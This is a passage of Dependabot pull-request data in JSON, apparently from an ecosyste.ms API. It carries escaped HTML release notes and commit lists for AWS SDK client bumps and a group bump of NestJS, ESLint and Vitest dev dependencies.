that group session failures into insights with root causes and suggested fixes. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/e34db602ee2b503787aa6a773d9bfbb6a25ed1c1\"\u003ee34db602\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-codecommit:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/f6d27955eafb97949159410ad7e42b0decc07237\"\u003ef6d27955\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-controltower:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/60659ee5353e375121fd3fdc683511243ef338e0\"\u003e60659ee5\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-workspaces:\u003c/strong\u003e  Adds optional imageValidationMode enum to ImportCustomWorkspaceImageRequest. This allows customers to opt-in to having prevalidation run in the service account instead of customer account. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/38638dc747e9d3d6959eba0b23f3c962ec6b9307\"\u003e38638dc7\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-connect:\u003c/strong\u003e  Amazon Connect GetAttachedFile API now supports an optional UrlContentDisposition parameter. Set it to INLINE to get a pre-signed URL that displays the file in the browser, so agents can preview email attachments without downloading them. ATTACHMENT (download) remains the default. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/81ad4d8e306be2b96e79d97bf179de424ec649c8\"\u003e81ad4d8e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-cloudwatch-logs:\u003c/strong\u003e  Amazon CloudWatch Logs now supports filtering DescribeDeliverySources by resourceArns, DescribeDeliveryDestinations by names, and DescribeDeliveries by deliverySourceNames. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/01e43f5704d34499152ec8099746afe49fbafed7\"\u003e01e43f57\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-grafana:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/4971fd765b459428dcf433eb104a241bef5cbb62\"\u003e4971fd76\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-socialmessaging:\u003c/strong\u003e  Adding support for WhatsApp Direct Send. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/0721adf50944d4077ff8b6327e7c145c4edd5f48\"\u003e0721adf5\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-timestream-influxdb:\u003c/strong\u003e  Adds four new parameters to the InfluxDBv3Enterprise parameter group for Amazon Timestream for InfluxDB. The new parameters are upgradePachaTree, walBufferSize, snapshotSize, and snapshotDuration. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/1f97769a6cd4a346e2522ee0f288b006a835a8bc\"\u003e1f97769a\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-codedeploy:\u003c/strong\u003e  Adds support for suspending Amazon EC2 Auto Scaling processes during CodeDeploy EC2 in-place deployments. Use ec2DeploymentOptions to choose which processes are suspended and resumed. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/43c16517dc79ef4e519688a06820ddf07730cb9d\"\u003e43c16517\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-codestar-notifications:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/b2679b610245c018d9e0e469549b79d5208f3dd0\"\u003eb2679b61\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-ecs:\u003c/strong\u003e  Adds support for configurable envoy application log levels. Customers can now debug network connectivity issues with their task's sidecar envoys. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/fca981d8614d2254efc0dedf3f01217ede005b73\"\u003efca981d8\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-opensearch:\u003c/strong\u003e  Amazon OpenSearch Service adds a new TLS security policy to support FIPS policy and post-quantum cryptography (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/f035263194102654c4cc6aa9d71579c19b9404d3\"\u003ef0352631\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-workspaces-instances:\u003c/strong\u003e  ModifyVolume is a new public API for WorkSpaces Core Managed Instances. Customers can change the size, type, IOPS, or throughput of an existing managed volume online, with no stop required. Customers track progress by calling EC2 DescribeVolumesModifications directly. (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/7689ba6bcf82d36b26a4f7267a97b1b33f459b63\"\u003e7689ba6b\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-iot-wireless:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/202f66a716eedc953d9d0a2471e80f03d3ae3756\"\u003e202f66a7\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003eBug Fixes\u003c/h5\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003etoken-providers:\u003c/strong\u003e  await in-flight SSO token refresh (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-js-v3/pull/8363\"\u003e#8363\u003c/a\u003e) (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/a8459b35151dac985633a889a6d2fed51ef0b884\"\u003ea8459b35\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003escripts:\u003c/strong\u003e  include preview/ in dependency version checks (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-js-v3/pull/8362\"\u003e#8362\u003c/a\u003e) (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/ef0483d3f70550c3f4cddce2f930484bf4c48761\"\u003eef0483d3\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/aws/aws-sdk-js-v3/blob/main/clients/client-s3/CHANGELOG.md\"\u003e@​aws-sdk/client-s3's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1152.0...v3.1153.0\"\u003e3.1153.0\u003c/a\u003e (2026-10-19)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​aws-sdk/client-s3\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1151.0...v3.1152.0\"\u003e3.1152.0\u003c/a\u003e (2026-10-14)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​aws-sdk/client-s3\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1150.0...v3.1151.0\"\u003e3.1151.0\u003c/a\u003e (2026-10-13)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​aws-sdk/client-s3\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1149.0...v3.1150.0\"\u003e3.1150.0\u003c/a\u003e (2026-10-12)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​aws-sdk/client-s3\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1148.0...v3.1149.0\"\u003e3.1149.0\u003c/a\u003e (2026-10-09)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​aws-sdk/client-s3\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1147.0...v3.1148.0\"\u003e3.1148.0\u003c/a\u003e (2026-10-08)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​aws-sdk/client-s3\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/compare/v3.1146.0...v3.1147.0\"\u003e3.1147.0\u003c/a\u003e (2026-10-06)\u003c/h1\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/35085844c581d910f51deea1b2de48f6b4ffa704\"\u003e\u003ccode\u003e3508584\u003c/code\u003e\u003c/a\u003e Publish v3.1153.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/3e350b59848e2bffcfe4d34a628e7adc136a6a55\"\u003e\u003ccode\u003e3e350b5\u003c/code\u003e\u003c/a\u003e chore(codegen): sync for JSON codec and schema server plugin (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3/issues/8353\"\u003e#8353\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/3ce8aa778c22193dad5f7fcefe239e3a74a3cd4f\"\u003e\u003ccode\u003e3ce8aa7\u003c/code\u003e\u003c/a\u003e Publish v3.1152.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/d6adfcb7baa396dd42060a74382b6aa2a1cbf0b5\"\u003e\u003ccode\u003ed6adfcb\u003c/code\u003e\u003c/a\u003e Publish v3.1151.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/4c9a334a79b631cc110fb3a1d67695b4c07baf46\"\u003e\u003ccode\u003e4c9a334\u003c/code\u003e\u003c/a\u003e Publish v3.1150.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/a960c14e8ce09ab8fd09352e40d75c6b9d52c1ca\"\u003e\u003ccode\u003ea960c14\u003c/code\u003e\u003c/a\u003e Publish v3.1149.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/5773a7515472dbdf2760c61e4a462b71800c50e7\"\u003e\u003ccode\u003e5773a75\u003c/code\u003e\u003c/a\u003e chore(codegen): sync for endpoint cache fix and pre-schema error fallback (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3/issues/8\"\u003e#8\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/1bc04256c276089739faa71754dba4fde75e05aa\"\u003e\u003ccode\u003e1bc0425\u003c/code\u003e\u003c/a\u003e Publish v3.1148.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/663046d58796f32069e5198f95a3070b2f5ef969\"\u003e\u003ccode\u003e663046d\u003c/code\u003e\u003c/a\u003e Publish v3.1147.0\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commits/v3.1153.0/clients/client-s3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@aws-sdk/client-sesv2` from 3.1146.0 to 3.1153.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/aws/aws-sdk-js-v3/releases\"\u003e@​aws-sdk/client-sesv2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev3.1153.0\u003c/h2\u003e\n\u003ch4\u003e3.1153.0(2026-10-19)\u003c/h4\u003e\n\u003ch5\u003eChores\u003c/h5\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecore:\u003c/strong\u003e  consume JSON codec from \u003ccode\u003e@​smithy/core\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-js-v3/pull/8335\"\u003e#8335\u003c/a\u003e) (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/412d1362e9d60979d3e11e7396e2598872b55773\"\u003e412d1362\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eupdate codeowners (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-js-v3/pull/8365\"\u003e#8365\u003c/a\u003e) (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/00c08848a20fb3870a839e089499bf72c5f5075d\"\u003e00c08848\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ecodegen:\u003c/strong\u003e  sync for JSON codec and schema server plugin (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-js-v3/pull/8353\"\u003e#8353\u003c/a\u003e) (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/3e350b59848e2bffcfe4d34a628e7adc136a6a55\"\u003e3e350b59\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003escripts:\u003c/strong\u003e  resolve changelog path by resolved location (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-js-v3/pull/8356\"\u003e#8356\u003c/a\u003e) (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/3f50ee0831e219e47519de8d6adf64b2a0396b41\"\u003e3f50ee08\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003eNew Features\u003c/h5\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eclient-codepipeline:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/75cdc917412a0ac35ca4257ccabae052df793f1b\"\u003e75cdc917\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-devops-agent:\u003c/strong\u003e  Documentation update release for AWS service (\u003ca href=\"https://github.com/aws/aws-sdk-js-v3/commit/5ff30e27b6a887a1f59d0dceb80223cb76df9bcc\"\u003e5ff30e27\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eclient-guardduty:\u003c/strong\u003e  Adding a new Expected Bucket Owner optional field for GuardDuty publishing destination APIs (\u003ca href=\"htt...\n\n_Description has been truncated_","html_url":"https://github.com/liamariavisoiu-ai98/healdesk.io/pull/38","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/liamariavisoiu-ai98%2Fhealdesk.io/issues/38","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/38/packages"},{"uuid":"5997306360","node_id":"PR_kwDOPfE_c88AAAABKPiu2A","number":362,"state":"open","title":"chore(deps-dev): bump the dev-deps group with 9 updates","user":"dependabot[bot]","labels":["dependencies"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-10-23T11:57:05.000Z","updated_at":"2026-10-23T11:59:03.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps-dev): bump","group_name":"dev-deps","update_count":9,"packages":[{"name":"@nestjs/cli","old_version":"12.0.8","new_version":"12.0.9","repository_url":"https://github.com/nestjs/nest-cli"},{"name":"@nestjs/schematics","old_version":"12.0.7","new_version":"12.0.9","repository_url":"https://github.com/nestjs/schematics"},{"name":"@nestjs/testing","old_version":"12.1.3","new_version":"12.2.0","repository_url":"https://github.com/nestjs/nest"},{"name":"@vitest/coverage-v8","old_version":"5.0.4","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"eslint","old_version":"10.12.0","new_version":"10.13.0","repository_url":"https://github.com/eslint/eslint"},{"name":"eslint-plugin-prettier","old_version":"5.5.6","new_version":"5.5.7","repository_url":"https://github.com/prettier/eslint-plugin-prettier"},{"name":"ts-jest","old_version":"29.4.14","new_version":"29.4.15","repository_url":"https://github.com/kulshekhar/ts-jest"},{"name":"typescript-eslint","old_version":"8.71.2","new_version":"8.72.0","repository_url":"https://github.com/typescript-eslint/typescript-eslint"},{"name":"vitest","old_version":"5.0.4","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"}],"path":null,"ecosystem":"npm"},"body":"Bumps the dev-deps group with 9 updates:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@nestjs/cli](https://github.com/nestjs/nest-cli) | `12.0.8` | `12.0.9` |\n| [@nestjs/schematics](https://github.com/nestjs/schematics) | `12.0.7` | `12.0.9` |\n| [@nestjs/testing](https://github.com/nestjs/nest/tree/HEAD/packages/testing) | `12.1.3` | `12.2.0` |\n| [@vitest/coverage-v8](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8) | `5.0.4` | `5.0.5` |\n| [eslint](https://github.com/eslint/eslint) | `10.12.0` | `10.13.0` |\n| [eslint-plugin-prettier](https://github.com/prettier/eslint-plugin-prettier) | `5.5.6` | `5.5.7` |\n| [ts-jest](https://github.com/kulshekhar/ts-jest) | `29.4.14` | `29.4.15` |\n| [typescript-eslint](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint) | `8.71.2` | `8.72.0` |\n| [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) | `5.0.4` | `5.0.5` |\n\nUpdates `@nestjs/cli` from 12.0.8 to 12.0.9\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nestjs/nest-cli/releases\"\u003e@​nestjs/cli's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease 12.0.9\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix(utils): ignore taskkill on a process that has exited by \u003ca href=\"https://github.com/johnnyhuirilef\"\u003e\u003ccode\u003e@​johnnyhuirilef\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nestjs/nest-cli/pull/3618\"\u003enestjs/nest-cli#3618\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(ci): migrate circleci config to version 2.1 by \u003ca href=\"https://github.com/kamilmysliwiec\"\u003e\u003ccode\u003e@​kamilmysliwiec\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nestjs/nest-cli/pull/3621\"\u003enestjs/nest-cli#3621\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(compiler): resolve an absolute tsconfig path by \u003ca href=\"https://github.com/KAPUIST\"\u003e\u003ccode\u003e@​KAPUIST\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nestjs/nest-cli/pull/3620\"\u003enestjs/nest-cli#3620\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(compiler): run the app only when tsc watch reports no errors by \u003ca href=\"https://github.com/KAPUIST\"\u003e\u003ccode\u003e@​KAPUIST\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nestjs/nest-cli/pull/3619\"\u003enestjs/nest-cli#3619\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(start): report when the app exits in watch mode by \u003ca href=\"https://github.com/thekhegay\"\u003e\u003ccode\u003e@​thekhegay\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nestjs/nest-cli/pull/3623\"\u003enestjs/nest-cli#3623\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(add): pass --dry-run to the library schematic by \u003ca href=\"https://github.com/lprnmns\"\u003e\u003ccode\u003e@​lprnmns\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nestjs/nest-cli/pull/3628\"\u003enestjs/nest-cli#3628\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(add): do not install the library on a dry run by \u003ca href=\"https://github.com/kamilmysliwiec\"\u003e\u003ccode\u003e@​kamilmysliwiec\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nestjs/nest-cli/pull/3632\"\u003enestjs/nest-cli#3632\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(new): offer to link the new project to nestjs observe by \u003ca href=\"https://github.com/kamilmysliwiec\"\u003e\u003ccode\u003e@​kamilmysliwiec\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nestjs/nest-cli/pull/3634\"\u003enestjs/nest-cli#3634\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lprnmns\"\u003e\u003ccode\u003e@​lprnmns\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nestjs/nest-cli/pull/3628\"\u003enestjs/nest-cli#3628\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nestjs/nest-cli/compare/12.0.8...12.0.9\"\u003ehttps://github.com/nestjs/nest-cli/compare/12.0.8...12.0.9\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest-cli/commit/448b7559008a6073ecafdd5ad5d063e2fd55932a\"\u003e\u003ccode\u003e448b755\u003c/code\u003e\u003c/a\u003e chore(): release v12.0.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest-cli/commit/020b9414ee7ef45cdc490f057f20f00be6e894aa\"\u003e\u003ccode\u003e020b941\u003c/code\u003e\u003c/a\u003e feat(new): offer to link the new project to nestjs observe (\u003ca href=\"https://redirect.github.com/nestjs/nest-cli/issues/3634\"\u003e#3634\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest-cli/commit/5f270b6558823bd94c163ef70a1b7eb291f64f1b\"\u003e\u003ccode\u003e5f270b6\u003c/code\u003e\u003c/a\u003e fix(deps): update angular-cli monorepo to v22.2.3 (\u003ca href=\"https://redirect.github.com/nestjs/nest-cli/issues/3630\"\u003e#3630\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest-cli/commit/56ad49da773f383e99a73c64517f1e25ac7703c6\"\u003e\u003ccode\u003e56ad49d\u003c/code\u003e\u003c/a\u003e chore(deps): update commitlint monorepo to v21.2.4 (\u003ca href=\"https://redirect.github.com/nestjs/nest-cli/issues/3633\"\u003e#3633\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest-cli/commit/08d8f3c9fdef389a4623ac5c4c9e353a8fddcf04\"\u003e\u003ccode\u003e08d8f3c\u003c/code\u003e\u003c/a\u003e fix(add): do not install the library on a dry run (\u003ca href=\"https://redirect.github.com/nestjs/nest-cli/issues/3632\"\u003e#3632\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest-cli/commit/ba6166811b3987dfcf3b582aea10ca973e237675\"\u003e\u003ccode\u003eba61668\u003c/code\u003e\u003c/a\u003e fix(add): pass --dry-run to the library schematic (\u003ca href=\"https://redirect.github.com/nestjs/nest-cli/issues/3628\"\u003e#3628\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest-cli/commit/5a0938f851f21e5cdf0b28c54a350807385951b2\"\u003e\u003ccode\u003e5a0938f\u003c/code\u003e\u003c/a\u003e chore(deps): update dependency webpack to v5.112.0 (\u003ca href=\"https://redirect.github.com/nestjs/nest-cli/issues/3631\"\u003e#3631\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest-cli/commit/f659a427dc8decb16e86963f1bceecaafddb925e\"\u003e\u003ccode\u003ef659a42\u003c/code\u003e\u003c/a\u003e chore(deps): update dependency vitest to v5.0.5 (\u003ca href=\"https://redirect.github.com/nestjs/nest-cli/issues/3629\"\u003e#3629\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest-cli/commit/47c63728bfc09b031951aaa6c01a7d87f3666756\"\u003e\u003ccode\u003e47c6372\u003c/code\u003e\u003c/a\u003e feat(start): report when the app exits in watch mode (\u003ca href=\"https://redirect.github.com/nestjs/nest-cli/issues/3623\"\u003e#3623\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/nest-cli/commit/5284a5c2f01098db4d8f2b352af3a14c4f9ee641\"\u003e\u003ccode\u003e5284a5c\u003c/code\u003e\u003c/a\u003e chore(deps): update dependency oxlint to v1.88.0 (\u003ca href=\"https://redirect.github.com/nestjs/nest-cli/issues/3626\"\u003e#3626\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nestjs/nest-cli/compare/12.0.8...12.0.9\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@nestjs/schematics` from 12.0.7 to 12.0.9\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nestjs/schematics/releases\"\u003e@​nestjs/schematics's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease 12.0.9\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix(observe): read the key pair from the environment before the placeholders by \u003ca href=\"https://github.com/kamilmysliwiec\"\u003e\u003ccode\u003e@​kamilmysliwiec\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nestjs/schematics/pull/2504\"\u003enestjs/schematics#2504\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nestjs/schematics/compare/12.0.8...12.0.9\"\u003ehttps://github.com/nestjs/schematics/compare/12.0.8...12.0.9\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eRelease 12.0.8\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003edocs(application): point the readme at npx \u003ccode\u003e@​nestjs/observe\u003c/code\u003e link by \u003ca href=\"https://github.com/kamilmysliwiec\"\u003e\u003ccode\u003e@​kamilmysliwiec\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nestjs/schematics/pull/2502\"\u003enestjs/schematics#2502\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(deps): update angular-cli monorepo to v22.2.3 by \u003ca href=\"https://github.com/renovate\"\u003e\u003ccode\u003e@​renovate\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nestjs/schematics/pull/2500\"\u003enestjs/schematics#2500\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nestjs/schematics/compare/12.0.7...12.0.8\"\u003ehttps://github.com/nestjs/schematics/compare/12.0.7...12.0.8\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/schematics/commit/eea7895394bb1d6609d1e819254942b6e9031cc7\"\u003e\u003ccode\u003eeea7895\u003c/code\u003e\u003c/a\u003e chore(): release v12.0.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/schematics/commit/480b27782f481b5bd1fda5c359bf7996a07dd2d6\"\u003e\u003ccode\u003e480b277\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/nestjs/schematics/issues/2504\"\u003e#2504\u003c/a\u003e from nestjs/fix/observe-env-credentials\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nestjs/schematics/commit/a7a8ae9c01a1b0afc37eec70bb45a38b0d8f6d87\"\u003e\u003ccode\u003ea7a8ae9\u003c/code\u003e\u003c/a\u003e fix(observe): keep the sign-up link in the 